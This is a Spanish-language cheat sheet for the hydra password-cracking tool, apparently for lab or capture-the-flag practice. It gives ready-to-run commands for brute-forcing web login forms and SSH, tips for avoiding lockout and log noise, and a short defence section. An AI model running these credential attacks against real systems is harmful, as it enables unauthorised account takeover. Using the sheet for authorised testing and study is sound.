Hydra — Fuerza Bruta de Autenticación Web y SSH
Ataques de fuerza bruta con hydra: formularios HTTP (http-post-form), sintaxis ^USER^/^PASS^, cadena de fallo, threads, servicios SSH en puertos custom.
1. Operational Scope & Technical Objective
hydra fuerza credenciales sobre protocolos y formularios. Su uso más rentable en web es el modo http-post-form, que replica el envío de un formulario POST (a menudo la pantalla de login de una app personalizada) y distingue éxito de fallo por una cadena de error en la respuesta. La precisión del escaneo depende de tres variables: el cuerpo POST exacto, la sentencia de fallo correcta (no la de éxito) y el número de threads, que se ajusta para no romper la sesión o disparar rate-limit.
2. High-Impact Syntax & Command Cheatsheet
# Fuerza bruta de formulario web (login custom)
hydra -l admin -P ~/git/SecLists/Passwords/Leaked-Databases/rockyou-50.txt \
10.10.10.75 http-post-form \
"/blog/admin.php:username=^USER^&password=^PASS^:Incorrect username"
# formato: "RUTA:PARAMS:CADENA_DE_FALLO"
# ^USER^ / ^PASS^ -> placeholders que hydra sustituye por usuario/pass
# 'Incorrect username' -> frase que aparece SOLO cuando el login falla
# -l -> usuario fijo; -P -> wordlist de contraseñas
# Más threads y mensaje de fallo distinto
hydra -l admin -P ~/git/SecLists/Passwords/Common-Credentials/10k-most-common.txt \
10.10.10.43 http-post-form \
"/department/login.php:username=^USER^&password=^PASS^:Invalid Password" -t 64
# -t 64 -> 64 threads; subir requiere que el server no bloquee por IP
# Cambia a https-web-form si el puerto es 443
hydra -l admin -P pass.txt 10.10.10.43 https-web-form \
"/login.php:user=^USER^&pass=^PASS^:Invalid Password"
# Fuerza bruta SSH en puerto no estándar
hydra -l username -P wordlist.txt ssh <Target-IP> -s 22222
# -s -> puerto del servicio (evita el default 22)
# Combinar listas de usuarios y contraseñas (-L / -P) y parar al primer hit
hydra -L users.txt -P pass.txt ssh://10.10.10.50 -f -o valid.txt
# -f -> detiene el ataque al primer par válido; -o -> guarda el hallazgo
3. Real-World Offensive/Defensive Scenarios
Validación del vector antes de quemar peticiones. Un login con user-enumeration (mensaje "Incorrect username" vs "Invalid Password") permite primero enumerar usuarios con -l <posible> y un solo candidato de contraseña, y después atacar solo las cuentas confirmadas: -L usuarios.confirmados.txt. Esto reduce el tráfico y el ruido en los logs del objetivo.
Ajuste de threads frente a lockout. Políticas de bloqueo (p. ej. 5 intentos fallidos) exigen -t 1 o -t 4 y priorización de listas de contraseñas probables; en sistemas con rate-limit por IP, -t alto solo consigue agotar la ventana. Cuando el formulario exige tokens CSRF, hydra no puede resolverlos por sí solo: el ataque se traslada a un script con extracción de token (Python/Burp Intruder).
Defensa. Las protecciones efectivas contra http-post-form son el CAPTCHA/rate-limit por IP + por cuenta, el mensaje de error no distinguible entre usuario inexistente y contraseña errónea (elimina la enumeración previa que hace viable el spray), y la autenticación multifactor (un spray de passwords no gana nada si el segundo factor es obligatorio). Monitoriza los logs del formulario por ráfagas de Invalid Password desde una misma IP: es la firma de un hydra en curso.